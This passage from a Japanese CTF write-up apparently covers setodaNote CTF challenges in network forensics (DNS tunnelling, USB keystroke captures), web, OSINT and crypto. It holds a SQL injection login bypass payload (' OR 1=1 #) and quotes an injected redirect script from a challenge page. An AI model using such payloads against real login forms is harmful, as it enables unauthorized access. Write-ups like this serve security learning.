ID 0x1b0: {0x00, 0x0f, 0x00, 0x00, 0x00, 0x01, 0x48}, (末尾が0x0Fずつ増えていく, 0x75まで)
ID 0x1cf: {0x80, 0x05, 0x00, 0x00, 0x00, 0x0f}, (末尾が0x0Fずつ増えていく, 0x3cまで)
ID 0x1d0: {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a}, これのみ
ID 0x1dc: {0x02, 0x00, 0x00, 0x0c}, (末尾が0x0Fずつ増えていく, 0x39まで)
ID 0x21e: {0x03, 0xe8, 0x37, 0x45, 0x22, 0x06, 0x01}, (末尾が0x0Fずつ増えていく, 0x3eまで)
ID 0x244:
  {0x00, 0x00, 0x00, 0x01, 0x00}, (末尾が0xFFまで全部ある)
  {0x00, 0x00, 0x00, 0x5f, 0x00}, (後ろから2バイト目がASCIIっぽい範囲で動く?)
ID 0x294: {0x04, 0x0b, 0x00, 0x02, 0xcf, 0x5a, 0x00, 0x0e}, (末尾が0x0Fずつ増えていく, 0x3bまで)
ID 0x305: {0x80, 0x08}, (末尾が0x0Fずつ増えていく, 0x84まで)
ID 0x309: {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84}, (末尾が0x0Fずつ増えていく, 0xb1まで)
ID 0x320: {0x00, 0x00, 0x03}, (末尾が0x0Fずつ増えていく, 0x30まで)
ID 0x324: {0x74, 0x65, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x0b}, (末尾が0x0Fずつ増えていく, 0x38まで)
ID (ちょっと略)
ID 0x40c 3種類ある
(略)

30分ほどかけて眺めた結果、ID 0x244が怪しそうなのでcan.id==0x244でフィルタリングして日時ソートしてみると、データ5バイトの末尾1バイトが0x00であるNo.9512パケットから、4バイト目にフラグの1文字が含まれていることに気が付きました。同じ文字を含むパケットが多数あるのでPageDownなどでスクロールしつつ、1文字1文字手で拾い集めてフラグを入手できました: flag{can_bus_hacking}

[Network, 200pts] Digdig

組織内の通信を監視している部署からマルウェア感染した端末から他にはない不審な通信が発生していたことが分かり、急ぎ解析してほしいを依頼がありました。どうやら、通信自体は組織内で許可されているプロトコルが使用されていたため外部に通信できた可能性もあり焦っているようです。

添付されたファイルを解析し、フラグを入手してください。

配布ファイルを確認するとpcapファイルがありました。Wiresharkで開いて確認すると多数のDNS通信があり、ほとんどが005aa002735f69735f44414d.setodanote.netのようなsetodanote.netのサブドメインのAレコードを解決するものでした。

ホスト名の中にフラグ情報が含まれていると考えて、試行錯誤しながら以下のコードを書きました:

#!/usr/bin/env python3.8

import scapy.all
from scapy.layers.dns import IP, DNS, DNSQR

packets = scapy.all.rdpcap("digdig.pcap")
l = []
for p in packets:
    if p[IP].src != "192.168.224.105": continue
    if not p.haslayer(DNSQR): continue
    if p[DNSQR].qtype != 1: continue # AとAAAAの両方を問い合わせているけど片方だけでいい
    qname = p[DNSQR].qname
    if b".setodanote.net." not in qname: continue # 最初の方は別の形式らしい
    if b"00500000LFI2358AA" in qname: continue
    target = qname[:qname.index(b".")]
    l.append(bytes.fromhex(target.decode()))
# 各行の最初4バイトはシーケンス番号らしいのでソートに使う
print("".join(map(lambda b: b[4:].decode(), sorted(l))))

実行すると以下の出力を得られました:

$ ./solve.py
flag is flag{This_is_DAMMY_FLAG} flag is flag{Nice_try_Sorry_for_that} flag is flag{DNS_S3cur17y_T1071!} flag is flag{7h3_k3y_15_53cur17y}222222
$

ダミーフラグも存在しますが、それらしいフラグを提出すると正解できました: flag{DNS_S3cur17y_T1071!}

[Network, 250pts] Logger

夕暮れ時、あなたの携帯が鳴動します。相手の番号は不明。非通知は拒否設定のはずと不思議に思いつつ電話に出ると「お前の秘密を知っている」と低い男の声が聞こえすぐに切れてしまいました。直後、あなたの携帯にファイルが添付された空白のメールが届きます。

添付されたファイルを解析してフラグを入手してください。

配布ファイルを確認するとpcapファイルがありました。Wiresharkで開いて確認するとUSB通信が記録されていました。ざっくり眺めてみると、2.1.1からhostへ8バイトのデータを送信しており、3バイト目は頻繁に変化し、1バイト目はだいたい0x00でたまに0x02があるようでした。3バイト目はASCIIでは無さそうなのでUSBキーボードかなにかのコードかなと調べてみるとRITSEC CTF 2019 Forensic writeup(そのうち更新?) - 4ensiXを見つけました。関連資料を見ながら、以下のコードを書きました:

#!/usr/bin/env python3.8

import scapy.all
from scapy.layers.all import Raw
from scapy.layers.usb import USBpcap

keymap = {
    0x27: (")", "0"),
    0x28: ("\n", "\n"),
    0x2c: (" ", " "),
    0x2d: ("_", "-"),
    0x2f: ("{", "{"),
    0x30: ("}", "}"),
    0x37: (">", ">"),
    }
l = []
packets = scapy.all.rdpcap("logger.pcap")
for (i, p) in enumerate(packets):
    if i%2 == 1: continue # USB packetのアドレスの判定方法がわからないので強引に分類
    data = p[Raw].load
    shift = ((data[0] & 0x02) != 0)
    key_code = data[2]

    # http://www.mindrunway.ru/IgorPlHex/USBKeyScan.pdf
    if key_code == 0: continue
    if 0x04 <= key_code <= 0x1d:
        l.append(chr(key_code - 0x04 + ord('A' if shift else 'a')))
    elif key_code == 0x2a: # backspace
        l.pop()
        pass
    elif key_code in keymap:
        l.append(keymap[key_code][0 if shift else 1])
    else:
        l.append("Unknown " + hex(key_code) + "\n")
print("".join(l))

実行すると以下の出力を得られました:

$ ./solve.py
One popular bbut unverified explanatioon for the QWERTY arrangement is that it wwas designed to reduce the likelihood of flag{QWE_keyb0ard_RTY} internal clashhing of typebars by placing commonly ussed combinatiioons of letters farther froom each oher inside the machine>

$

ちょくちょく文字が二重になっている点が気になりますが、ともかくフラグは手に入りました: flag{QWE_keyb0ard_RTY}

[Network, 250pts] tkys_not_enough

せっかく内偵中の後輩から通信データが送られてきたのに。いわく決定的な証拠を掴んだとのことですが、普段とは異なる方法で取得したデータなのか解析ツールにうまく取り込めません。後輩に聞こうにも通信データが送られた直後「やはり君だったか」という聞きなれない男の声を最後に連絡が途絶えてしまっています。あなたは何とかしてこの通信データを解析しなければなりません。

添付されたファイルを解析し、フラグを入手してください。

配布ファイルを確認すると、拡張子pcapのファイルですがWiresharkで開こうとしてもThe file "tkys_not_enough.pcap isn't a capture file in a format Wireshark understands.エラーとなるファイルでした。仕方がないのでstringsコマンドを使ってみると、HTTP送受信のデータが含まれているようでした。眺めていると、いくつかレスポンスをgzip形式で送信している箇所が目に止まりました:

HTTP/1.1 200 OK
Date: Wed, 04 Aug 2021 06:42:59 GMT
Server: Apache/2.4.48 (Debian)
Last-Modified: Wed, 04 Aug 2021 06:29:34 GMT
ETag: "79-5c8b5ed077ee4-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 122
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
HTTP/1.1 200 OK
Date: Wed, 04 Aug 2021 06:43:11 GMT
Server: Apache/2.4.48 (Debian)
Last-Modified: Wed, 04 Aug 2021 05:48:16 GMT
ETag: "47-5c8b55955cd58-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 85
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

gzip形式のシグネチャを調べてみると、gzip - WikipediaからMagic number 1f 8bだと分かりました。Bzでファイルを開いて上記HTTPレスポンス直後からシグネチャを探し、Content-Length分だけを別ファイルに保存して展開してみると、79-5c8b5ed077ee4.gzip側にフラグが書かれていました:

$ gzip -d 79-5c8b5ed077ee4.gz
$ cat 79-5c8b5ed077ee4
I'm going to practice making origami cranes so that I can fold them for you some day, okay?


flag{netw0rk_shell_2000}


$

これでフラグを入手できました: flag{netw0rk_shell_2000}

[Web, 30pts] Body

作成中のサイトに機密情報が含まれてしまっているようです。サイトにアクセスして機密情報を見つけ出してください。

以下のサイトにアクセスして隠されたフラグを見つけてください。

https://ctf.setodanote.net/web001/

フラグとは関係ない話ですが、ページ記載内容がツボにはまりました:

隠されたフラグを見つけ出してください。
外見に騙されてはいけません。内面を見定めるのです。
運命とは、選び出す物だ、受け容れる前に
    運命とは、受け入れるべきものではない、それは自ら選び創り出すものだ

フラグ形式
    特に指定がない限りフラグは flag{} という形式をとります。

誤ったフラグ
    誤ったフラグを入力することによる減点はありません。

より早くより多く
    より早くより多くのポイントを獲得したユーザがより上位となります。

ページのHTMLソースを表示してみるとコメントとして書かれていました:

<p>特に指定がない限りフラグは flag{<!-- *** flag{Section_9} *** -->} という形式をとります。</p>

フラグを入手できました: flag{Section_9}

[Web, 50pts] Header

作成中のサイトを管理しているサーバに問題があり、機密情報が漏洩しているようです。サイトにアクセスして機密情報を特定してください。

以下のサイトにアクセスして隠されたフラグを見つけてください。

https://ctf.setodanote.net/web002/

今回もページ記載内容がツボにはまりました:

ようこそ setodaNote CTF へ
ここは Web002 のページです。

隠されたフラグを見つけ出してください。
ボディの強さだけで勝てるとは限りません。ときには頭で勝負することも必要です。

とりあえずHTMLソースを表示してみると、次の記述がありました:

<meta name="hint" content="頭と言ってもここのことではないのです。 Nice try!" />

HTTPレスポンスヘッダーかなと思って確認してみました:

$ curl -I https://ctf.setodanote.net/web002/
HTTP/2 200
date: Thu, 02 Sep 2021 10:18:50 GMT
content-type: text/html
last-modified: Tue, 17 Aug 2021 03:42:18 GMT
x-setodanotectf-flag: flag{Just_a_whisper}
permissions-policy: interest-cohort=()
x-nginx-cache: MISS
accept-ranges: bytes
cf-cache-status: DYNAMIC
expect-ct: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6FOlPmAC%2FPXlOnzZrGsNsFA2fYdyn23fsvq8SAkWkVQCjX6r2G%2B3NzetDZ0XjwISIiDwzWMSspncL3i9IK%2FuQT5OTZL%2BYRmnYLUvdYKfT8dP0NKt0OSfwOYjwIx%2F62P8qPAyuMA%3D"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 6885ff205aea3457-NRT

$

x-setodanotectf-flagヘッダーにフラグが書かれていました: flag{Just_a_whisper}

[Web, 80pts] puni_puni

近所の子供から「ぷにぷにこーどあげるね」と1枚の紙を手渡されました。見ると子供の字とは思えない正確な書体で英数字がびっしりと書き込まれています。これはいったい。そう聞こうとしましたが、紙に意識を取られた一瞬のうちにその子供はいなくなっていました。

紙に書かれた文字列を解析し、フラグを入手してください。フラグは得られた文字列を flag{} で囲んで答えてください。例えば flag が得られた場合は flag{flag} と入力します。

xn--q6jaaaaaa08db0x8nc9t1b8fsviei84atb4i0lc
xn--q6jaaaaa03dpd4mb3jc5rpa0g9jpk07acadc.
xn--q6jylla3va3j6c8138a8eptvb303cxv4ft3o4ue63a
xn--v8ja6aj2a3cri3ag4a2r6cx2a1rkk1272c7j4ajd4bmf0kjhg6rb.
xn--q6j6gav1a0b2e1bh1ac2cl29ad7728kdjen6cz80dju6bqexchl9gel8b.

xn--から始まっているのでPunycodeだろうなあと思って復号方法を探しました。日本語JPドメイン名のPunycode変換・逆変換 - 日本語.jpを見つけたのでそちらを利用しました:

正規化後    :   フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
正規化後    :   シー、オー、ディー、イー、よん、よん、です.
正規化後    :   カタカナ表記は半角英小文字に、
正規化後    :   ひらがな表記は半角数字にしたものがフラグです
正規化後    :   なお、読点は区切り文字なので取り除いてください

指示の通りのフラグを作って提出すると正解できました: flag{33punycode44}

[Web, 100pts] Mistake

作成中のサイトに不備があると外部から指摘を受けています。どうやら機密情報が漏れてしまっているようです。サイトにアクセスして機密情報を特定してください。

以下のサイトにアクセスして隠されたフラグを見つけてください。

http://ctf.setodanote.net/web003/

Webカテゴリで最後に解けた問題です。今回のページにもツボにはまる内容がありました:

ようこそ setodaNote CTF へ
ここは Web003 のページです。

隠されたフラグを見つけ出してください。
ここではすべてがオープンです。たどればきっと探し物も見つかります。

しばらく探していると、HTMLコメントでヒントが書かれている事に気づきました:

<p>特に指定がない限りフラグは flag{<!-- Webserver directory index? -->} という形式をとります。</p>

これを見つけた後にしばらくいろいろ試していると、Webページ中で使用しているCSS等があるディレクトリの https://ctf.setodanote.net/web003/assets/ へアクセスするとファイル一覧が表示されることが分かりました。ただそのディレクトリ配下にはフラグがありませんでした(数十分探していました)。代わりに別のディレクトリである https://ctf.setodanote.net/web003/images/ へアクセスすると、pic_flag_is_here.txtがありました。そのファイルにフラグが書かれていました: flag{You_are_the_Laughing_Man,_aren't_you?}

[Web, 120pts] tkys_royale

んー、このサイトには重大な脆弱性があります。そう切り出してきた相手の姿にあなたは言葉が出ません。それは音信不通となっていた後輩の生き写し。聞きたいことが山ほどありますが、まずはサイトの脆弱性を修正しなければなりません。サイトを解析し、脆弱性を特定してください。

以下のサイトにアクセスしてフラグを得てください。

https://ctf.setodanote.net/web005/

問題文には何か元ネタがあるのかなと思いながらURLにアクセスすると、usernameとpasswordを入力するログインフォームがありました:

Login form

This is the login form for the setodaNote CTF questions.
Oh yeah, and don't miss the awesome background images.

SQLインジェクション出来るかとも考えて、username箇所に' OR 1=1 #を入力してみると、ログインに成功しました:

Welcome admin!!
flag{SQLi_with_b1rds_in_a_b34utiful_landscape}

Excellent work!! This is the flag!

フラグを入手できました: flag{SQLi_with_b1rds_in_a_b34utiful_landscape}

[Web, 120pts] Estimated

組織の関連サイトを監視している部署から「どうやら局長ブログで機密情報が漏洩しているようだ」と連絡が入りました。一部SNSで言及されているものの、幸いにしてまだ広まってはいないようです。なんとか穏便にすませたい上司に配慮し、被害を最小にすべくサイトを調査し漏洩している機密情報を特定してください。

以下のサイトにアクセスしてフラグを得てください。

https://ctf.setodanote.net/web006/

URLにアクセスすると、日常系の写真付きブログなページが表示されました。眺めているとお詫び:昨日の記事についてという記事があることに気づきました:

お詫び:昨日の記事について

June 3, 2021
Setoda

昨日の記事について、掲載していた画像に公開すべきではない情報が含まれていたため当該記事を削除いたしました。

皆様にはご心配、ご迷惑をおかけしてしまい申し訳ありません。

そのページのURLは https://ctf.setodanote.net/web006/20210603.html だったので、1日前の https://ctf.setodanote.net/web006/20210602.html へアクセスしてみましたが404でした。そこで画像のURLを推測してみることにしました。

2021/07/24のページに掲載している画像のURLが https://ctf.setodanote.net/web006/images/20210724001b.jpg だったので https://ctf.setodanote.net/web006/images/20210602001b.jpg にアクセスしてみると画像が残っていました。ノートパソコンを触っている様子の画像で、よく見るとノートパソコンの最前面に表示されているブラウザの入力欄にフラグが書かれていました: flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}

[Web, 150pts] Mx.Flag

旗から手紙が届きました。

親愛なる貴方へ

こうして貴方に手紙を送るのは初めてですね。
実はとてもうまく隠れることができたので、嬉しくなりこのような手紙を送ることにしました。

どうか私を見つけてくれますか?

旗

以下のサイトにアクセスしてフラグを得てください。

https://ctf.setodanote.net/web007/

URLにアクセスしてみると、旗からの挑戦状が書かれていました:

Challenge

Dear you,

This is the first time I've sent you a letter like this.
I was able to hide so well that I was so happy that I decided to send this letter to you.

Can you find me?

Flag.

HTMLソースを確認すると、faviconとcss設定だけのあるシンプルなページでした。しかしブラウザのアドレスバー箇所にアイコンが出ていないことを不審に思って確認してみました:

$ wget -q https://ctf.setodanote.net/web007/images/favicon.png
$ file favicon.png
favicon.png: ASCII text, with CRLF line terminators
$ cat favicon.png
// flag{Mr_Flag_hiding_in_the_favicon}
console.table({place: "favicon.png", png: "false", flag: "true", Look: "me"});

$

favicon.png中にフラグが書かれていました: flag{Mr_Flag_hiding_in_the_favicon}

[Web, 150pts] Redirect

組織の関連サイトを監視している部署から「どうやら会長ブログが何らか侵害を受けてしまっているようだ」と連絡が入りました。再現方法が不明なものの、一部の訪問者から不審なサイトに飛ばされてしまうという指摘がされているようです。上司は休暇で不在ですが特に支障はありません。被害を最小にすべくサイトを調査し侵害状況を把握してください。

以下のサイトにアクセスしてフラグを見つけ出してください。

https://ctf.setodanote.net/web004/

一部の人が飛ばされるならJavaScript使っているんだろうなあと思い、ページのHTMLソースを見て<script>要素を探しました。ここで20分ほどassets/js/main.jsなどを見ていたのですが、よく見るとbody最後にスクリプトが直接書かれていることに気づきました:

<script>!function(){var ref = document.referrer;var domain = ref.match(/^http([s]?):\/\/([a-zA-Z0-9-_\.]+)(:[0-9]+)?/)[2];if(domain == "www.google.com" || domain == "www.google.co.jp" ){location.href = atob('aHR0cHM6Ly9jdGYuc2V0b2Rhbm90ZS5uZXQvd2ViMDA0L2JXRnNhMmwwLmh0bWw=');}}();</script>

Google検索からたどり着いた場合にリダイレクトしているようです。atob関数はぱっと見でBase64デコードしているように見えたので復号してみると https://ctf.setodanote.net/web004/bWFsa2l0.html でした。そのページにブラウザでアクセスしてみると、あっという間に何回かリダイレクトされました:

Nice try!

Pay attention to the redirects.

curlコマンドで1つ1つ見に行くことにしました。まず1つ目のリダイレクト先で、クエリー文字列を付与しつつリダイレクトしていました:

var params = new URL(window.location.href).searchParams;
if(Array.from(params).length > 0){
  location.href = 'https://ctf.setodanote.net/web004/bm9mbGFn/?'+params;
}else{
  location.href = 'https://ctf.setodanote.net/web004/bWFsa2l0.html?callback=wantFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200';
}

その後数回のリダイレクトはクエリー文字列を維持したまま別のパスへ転送するものでした。その次のページで、クエリー文字列の内容によってリダイレクト先を変更していました:

var params = new URL(window.location.href).searchParams;
if (params.get('callback') == 'getFlag') {
  location.href = 'https://ctf.setodanote.net/web004/dGFjaGlrb21hX2thd2FpaV95b25l/?' + params;
}else{
  location.href = 'https://ctf.setodanote.net/web004/ZGFtbXlmbGFn/?' + params;
}

最初のページでcallbackクエリーに付与している値はwantFlagなので、このページではelse側にリダイレクトします。試しにgetFlagに変更したクエリ文字列をつけてブラウザアクセスしてみると、正解のページに到達できました:

Nice work!!

flag{Analyz1ng_Bad_Red1rects}

というわけでフラグを入手できました: flag{Analyz1ng_Bad_Red1rects}

[OSINT, 30pts] tkys_with_love

だいぶ元気なようだ。長期休暇中の後輩からメッセージが届きました。「どこにいると思います?コールサイン C6DF6 の上ですよ!!」どうやら何か乗り物に乗っているようです。後輩が何に乗っているのか特定してください。

フラグは後輩がいるという乗り物の正式名称を flag{} で囲んで答えてください。名称に空白が含まれている場合はアンダースコアでつないで回答してください。例えば This is a FLAG が名称である場合は flag{This_is_a_FLAG} のように答えてください。

C6DF6でググってみるとhttps://www.vesseltracker.com/en/Ships/Symphony-Of-The-Seas-9744001.htmlを見つけました。URL中の大文字小文字に基づいてflag{Symphony_Of_The_Seas}を提出してみましたが不正解でした。

次にhttps://www.marinetraffic.com/en/ais/details/ships/shipid:5345430/mmsi:311000660/imo:9744001/vessel:SYMPHONY_OF_THE_SEASを見つけました。URL中の大文字小文字に基づいてflag{SYMPHONY_OF_THE_SEAS}を提出してみましたが不正解でした。

次にhttps://en.wikipedia.org/wiki/Symphony_of_the_Seasを見つけました。URL中の大文字小文字に基づいたフラグを送信してみると無事正解できました: flag{Symphony_of_the_Seas}

[OSINT, 50pts] Dorks

あなたは組織が所有するドメインに関係するサイトの中で login.php が不用意に公開されていないかを Google を使って確認するように依頼を受けました。login.php が利用されているかどうかは、ある5文字の検索演算子をひとつ使えば調査することができそうです。

Google で login.php を URL に含むページを検索するための検索語句を検索演算子を含めてすべて小文字 でフラグ形式にして答えてください。

例えばファイルタイプを限定する filetype の検索演算子で pdf を検索するための検索語句を答える場合は flag{filetype:pdf} となります。

そういったクエリーが存在するのか思いながらググってみるとGoogle Search Operators: The Complete List (42 Advanced Operators)を見つけました。この中を見ながらフラグを提出してみると無事正解できました: flag{inurl:login.php}

[OSINT, 50pts] filters_op

Twitter アカウント @cas_nisc が2017年5月15日にツイートした注意喚起に付与されている英字のハッシュタグをフラグ形式で答えてください。

例えば付与されていたのが「#HashTag」であればフラグは flag{#HashTag} となります。

from:cas_nisc until:2017-05-16でTwitter検索してみると最初に注意喚起ツイートがありました: NISC内閣サイバーセキュリティセンターさんはTwitterを使っています 「⚡️ "【現在拡散中の #ランサムウェア ( #WannaCrypt )への対応方法】"をまとめました。 https://t.co/aWf5dK2JPc」 / Twitter

ハッシュタグをもとにフラグを送信して無事正解できました: flag{#WannaCrypt}

[OSINT, 50pts] MAC

友人が簡単な暗号を作ったから意見を聞かせてほしいと言ってきました。公開情報に基づき解くことができるといいます。あなたは暗号文を解いてみることにしました。

00:03:93 = A
00:01:A9 = B
04:2A:E2 = C

上記の通り変換されるとき、以下の文字列はどうなるか。

flag{2C:C2:60_FC:EC:DA_00:02:B3_AC:44:F2_FC:4E:A4}

暗号文を解きフラグを得てください。

問題文のタイトルから、MACアドレスの製造者を表す24bitかなと検討をつけました。サンプルのAのMACアドレスで検索すると00-03-93 - MAC or OUI address lookup - What is my IP address?がヒットし、それによるとAppleのMACアドレスとのことです。2つ目はBMW AG、3つ目はCisco Systems, Incでした。その調子で他のMACアドレスも調べていきました:

2C-C2-60 => Oracle Corporation
FC-EC-DA => Ubiquiti Networks Inc.
00-02-B3 => Intel Corporation
AC-44-F2 => YAMAHA CORPORATION
FC-4E-A4 => Apple, Inc.

これらからフラグを入手できました: flag{O_U_I_Y_A}

[OSINT, 50pts] tkys_eys_only

送られてきたデータが端末に表示されます。後輩の活躍により、監視対象者が操作していた端末画面の取得に成功しました。映し出された画面はある組織の所在地に関する情報を含んでいます。画像を解析し、所在地に最も関係する組織名を特定してください。

添付されたファイルを解析し、所在地に最も関係する組織の名称を英語表記で答えてください。名称にスペースがある場合はアンダースコアに置換しフラグ形式で回答してください。

例えば組織名が International Criminal Police Organization だった場合は flag{International_Criminal_Police_Organization} となります。

ドハマりした問題です。配布ファイルは次の画像でした: この画像の40.75N 73.98W (Elev.49ft)箇所が最初に目に止まってしまいました。Googleマップでその位置を入力してみるとモーガン図書館が出てきたのでひたすら関連したフラグを提出してみたり、近くの建物のホテルニューヨークやメキシコ領事館、ニューヨーク公共図書館本館についても同様にフラグを提出してみたりしました。全部不正解でした。

ふと緯度経度を0.01ずらしてみると、位置が大きく変わることに気づきました。流石にこれでは特定できないと思って配布画像ファイルを見直してみると、URLのクエリー文字列に細かい緯度経度があることに気づきました。40.74944N 73.968056WをGoogleMapで検索してみると国連事務局ビルがありました。後は正式名称を調べつつ、数回間違えた後に正解のフラグを提出できました: flag{United_Nations}

[OSINT, 100pts] MITRE

識別子があることを知っておくことは共通の認識をもつために必要なことでしょう。ですが、すべての識別子を覚える必要はないと思います。そういう理由で私はこの課題に必要性を感じません。そう説得したが教官は首を縦に振ってはくれなかった。そして、私はこれからこの文字列を解読しなければならない。

T1495T1152T1155T1144 T1130T1518 flag{T1170T1118T1099T1496T1212_T1531T1080T1127T1020T1081T1208_T1112T1098T1199T1159T1183T1220_T1111T1147T1220}

フラグに英字が含まれる場合はすべて大文字で答えてください。

MITREの識別子と検討をつけてググりました。MITRE Techniques Referenceにおおよそ全部が書いてありました。調べ途中のメモです:

T1495    Firmware Corruption
T1152   Launchctl
T1155   AppleScript
T1144   Gatekeeper Bypass
T1130   Install Root Certificate
T1518   Software Discovery
flag{
T1170   Mshta
T1118   InstallUtil
T1099   Timestomp
T1496   Resource Hijacking
T1212   Exploitation for Credential Access
_
T1531   Account Access Removal (これはなかったので別途ググりました)
T1080   Taint Shared Content
T1127   Trusted Developer Utilities Proxy Execution
T1020   Automated Exfiltration
T1081   Credentials in Files
T1208   Kerberoasting
_
T1112   Modify Registry
T1098   Account Manipulation
T1199   Trusted Relationship
T1159   Launch Agent
T1183   Image File Execution Options Injection
T1220   XSL Script Processing
_
T1111   Two-Factor Authentication Interception
T1147   Hidden Users
T1220   XSL Script Processing
}

これらをつなげてフラグを入手できました: flag{MITRE_ATTACK_MATLIX_THX}

[OSINT, 120pts] Ropeway

休暇中の同僚から写真が送られてきました。あるロープウェイから撮られた写真とのこと。そしてもし写真から撮影場所が特定できたらいい地酒をお土産に買ってくれると言います。あなたは仕掛中の仕事を脇に置き、写真の解析を始めました。

添付されたファイルを解析し、ロープウェイ名称を英小文字のフラグ形式で答えてください。例えばロープウェイの名前が「瀬戸田ロープウェイ」の場合、フラグは flag{setoda} となります。

配布ファイルは次の画像でした: exifに位置情報がないことを確認した後は、「ロープウェー 海辺 観覧車」などのキーワードで画像検索して、それっぽいロープウェー名を提出していきました。6個目くらいで日本 ロープウェー 海辺 観覧車 - Google 検索を見つけて試すと、無事正解できました: flag{kansanji}

[OSINT, 200pts] N-th_prime

電車の中で誰かの会話が聞こえてきます。

「巨大な素数の秘密を知っているか兄者」「知っているとも弟者。巨大な素数は秘密を守る要なのさ」「兄者、1番目の素数は?」「2 だ」「2番目の素数は?」「3 だ」「数え上げて 72057594037927936 番目の素数は?」「・・・」「兄者マテッ!ときに落ち着けって!」

数え上げて 72057594037927936 番目の素数をフラグ形式で答えてください。例えば 11 だった場合は flag{11} と答えてください。

非常に悩んだ問題の1つです。問題を見て、とりあえずSageMathでnth_prime(72057594037927936)を実行してみましたが一向に終わる気配がありませんでした。それどころか引数の桁を4つ5つ減らしても非常に時間がかかるようでした。

ググっているとPrimePage Primes: The Nth Prime Pageを見つけました。しかしそのサイトでは10^12番目までの素数という制限があり、今回必要な7*10^16には全く届いていませんでした。

数日経った後に、なんとなく要求されている番号を素因数分解してみました:

sage: factor(72057594037927936)
2^56
sage:

2のべき乗です。これを利用するのかもしれないと思って、SageMathでいくつかの2のべき乗について、nth-primeを求めました:

sage: nth_prime(2^24)
310248241
sage: nth_prime(2^25)
645155197
sage: nth_prime(2^26)
1339484197
sage: nth_prime(2^27)
2777105129
sage: nth_prime(2^28)
5750079047
sage: nth_prime(2^29)
11891268401
sage: nth_prime(2^30)
24563311309
sage: nth_prime(2^31)
50685770167

このあたりまではすぐ計算できましたが、2^32以降は一気に処理時間が増加したので、これらを使ってググりはじめました。OEISにはいくつかの2のべき乗番目の素数の列が掲載されており、A033844では2^32まで、A119777では16^14まで掲載されていましたが、どちらもまだ足りていません。それらの数値でぐぐると、最終的にmersenneforum.org - View Single Post - Riemann, Goldbach does not know!2^58まで掲載されていることを発見しました。今回求められているのは2^56なので、それをフラグ形式で提出して無事正解できました: flag{2991614170035124397}

2021/09/08 20:10 追記: 上記OEISの各ページ中のLINKS箇所にあるTable of n, a(n) for n = 0..78Table of n, a(n) for n=0..14.のリンク先では、2^7816^14まで記載されていました。完全に見逃していました……。

[OSINT, 250pts] identify_the_source

組織はある攻撃者グループの動向を調査しています。あなたは旧知の情報提供者からその攻撃者グループが攻撃に利用しようとしているというファイルを入手することに成功しました。情報提供者はファイルの配布元URLの情報も持っているようですが、そちらの情報を入手するためには高額な対価が必要となりそうです。あなたが自由にできる予算は限られています。巧みな話術でどうやらあるマルウェア解析サイトから取得した情報であるようだというところまでは聞き出せました。組織はあなたに配布元URLを特定し、攻撃を未然に防ぐとともに攻撃者グループに関する重要な情報が含まれていないか調査するよう指示を出しました。

添付されたファイルを解析して関連する配布URLを特定、調査し、フラグを入手してください。

悩んだ問題の1つです。配布ファイルはよくわからないものでした:

$ file tsuru
tsuru: data
$

とりあえずVirusTotalへ提出してみましたが、特に面白そうなものはありませんでした。ファイルの一部でググりまくりましたが全くヒットしてくれませんでした。

ひたすら悩んだ後に他にどんなマルウェア解析サイトが有るのかググってみると、VirusTotal, ANY.RUNなどのオンライン検査サービス利用における注意点 - セキュリティ猫の備忘録を見つけました。ANY.RUNで検索できるところを探すとMalware Reports - Online Malware Analysis Sandboxを見つけました。tsuruのSHA256ハッシュ値64f10be20a97f7d25fd23d48e563cc391c54882c97d1c232832ea6beb61ca1daで検索してみると、2021/07/15の提出に https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/tsuru と書かれていました(個別ページではURLは出ていない?)。/tsuruは404だったので/にアクセスしてみました:

$ curl https://yrsuccessesareunheraldedyrfailuresaretrumpeted.setodanote.net/
<!DOCTYPE HTML>
<html>
        <head>
                <title>Good job</title>
                <meta charset="utf-8" />
                <link rel="stylesheet" href="main.css" />
        </head>
        <body>
        <p>NO DATA</p>
        <br />
        (中略、50個くらいbrタグがある)
        <br />
        <p deleteTime="1626307200">The flag is no longer here.</p>
        </body>
</html>
$

フラグはもう無いみたいです。deleteTime箇所は2021/07/15 00:00:00のunix-timeでした。

Internet Archiveを見てみるとバッチリ登録されていました。2021/07/14最後のスナップショットである16:21:01のアーカイブを見てみました。ぱっと見では何もなかったのでソースを表示してみました:

<p><!-- flag{No_one_cares_the_bomb_that_didn't_go_off} --></p>

ようやくフラグを入手できました: flag{No_one_cares_the_bomb_that_didn't_go_off}

[Crypto, 50pts] base64

組織に入ったばかりの新人からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやら新人は暇なようです。

以下の文字列を解読して、フラグを獲得してください。

ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==

復号します:

$ base64 -d
ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==
flag{It's_called_base64!}$

フラグを入手できました: flag{It's_called_base64!}

[Crypto, 50pts] ROT13

組織でも指折りの経験豊富なベテランからチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこのベテランも暇なようです。

以下の文字列を解読して、フラグを獲得してください。

synt{Rira_lbh_Oehghf?}

VIMに貼り付けてVisualモードで選択してg?コマンドを使って復号できました: flag{Even_you_Brutus?}

[Crypto, 80pts] pui_pui

組織の局長からチャットが来ました。ですが普通の文字列ではなく暗号文になっているようです。どうやらこの組織には暇人しかいないようです。

以下の文字列を変換して、フラグを獲得してください。

